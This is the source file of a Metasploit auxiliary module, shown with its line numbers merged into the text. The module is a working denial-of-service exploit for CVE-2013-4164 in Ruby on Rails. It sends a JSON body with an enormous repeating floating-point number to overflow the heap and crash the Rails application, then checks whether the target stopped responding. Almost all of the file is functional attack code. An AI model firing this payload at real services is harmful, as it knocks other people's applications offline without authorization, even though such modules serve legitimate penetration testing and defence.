Path: blob/master/modules/auxiliary/dos/http/rails_json_float_dos.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Ruby on Rails JSON Processor Floating Point Heap Overflow DoS',14'Description' => %q{15When Ruby attempts to convert a string representation of a large floating point16decimal number to its floating point equivalent, a heap-based buffer overflow17can be triggered. This module has been tested successfully on a Ruby on Rails application18using Ruby version 1.9.3-p448 with WebRick and Thin web servers, where the Rails application19crashes with a segfault error. Other versions of Ruby are reported to be affected.20},21'Author' => [22'Charlie Somerville', # original discoverer23'joev', # bash PoC24'todb', # Metasploit module25],26'License' => MSF_LICENSE,27'References' => [28[ 'CVE', '2013-4164' ],29[ 'OSVDB', '100113' ],30[ 'URL', 'https://www.ruby-lang.org/en/news/2013/11/22/ruby-1-9-3-p484-is-released/' ]31],32'DisclosureDate' => '2013-11-22',33'Notes' => {34'Stability' => [CRASH_SERVICE_DOWN],35'SideEffects' => [],36'Reliability' => []37}38)39)40register_options(41[42OptString.new('TARGETURI', [false, 'The URL of the vulnerable Rails application', '/']),43OptString.new('HTTPVERB', [false, 'The HTTP verb to use', 'POST'])44]45)46end4748def uri49normalize_uri(target_uri.path.to_s)50end5152def verb53datastore['HTTPVERB'] || 'POST'54end5556def digit_pattern57@digit_pattern ||= rand(10_000).to_s58end5960def integer_part61digit_pattern62end6364def multiplier65(500_000 * (1.0 / digit_pattern.size)).to_i66end6768def fractional_part69digit_pattern * multiplier70end7172# The evil_float seems to require some repeating element. Maybe73# it's just superstition, but straight up 300_002-lenth random74# numbers don't appear to trigger the vulnerability. Also, these are75# easier to produce, and slightly better than the static "1.1111..."76# for 300,000 decimal places.77def evil_float_string78[integer_part, fractional_part].join('.')79end8081def run82print_status "Using digit pattern of #{digit_pattern} taken to #{multiplier} places"83sploit = '['84sploit << evil_float_string85sploit << ']'86print_status "Sending DoS HTTP#{datastore['SSL'] ? 'S' : ''} #{verb} request to #{uri}"87target_available = true8889begin90res = send_request_cgi(91{92'method' => verb,93'uri' => uri,94'ctype' => 'application/json',95'data' => sploit96}97)98rescue ::Rex::ConnectionRefused99print_error 'Unable to connect. (Connection refused)'100target_available = false101rescue ::Rex::HostUnreachable102print_error 'Unable to connect. (Host unreachable)'103target_available = false104rescue ::Rex::ConnectionTimeout105print_error 'Unable to connect. (Timeout)'106target_available = false107end108109return unless target_available110111print_status 'Checking availability'112begin113res = send_request_cgi({114'method' => verb,115'uri' => uri,116'ctype' => 'application/json',117'data' => Rex::Text.rand_text_alpha(1..64).to_json118})119if res && res.body && !res.body.empty?120target_available = true121else122print_good "#{peer}#{uri} - DoS appears successful (No useful response from host)"123target_available = false124end125rescue ::Rex::ConnectionError, Errno::ECONNRESET126print_good 'DoS appears successful (Host unreachable)'127target_available = false128end129130return unless target_available131132print_error 'Target is still responsive, DoS was unsuccessful.'133end134end135136137